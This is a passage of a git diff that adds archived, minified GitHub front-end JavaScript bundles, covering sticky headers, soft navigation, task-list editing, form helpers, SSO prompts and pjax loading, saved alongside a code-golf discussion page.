A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` +${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" ")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const 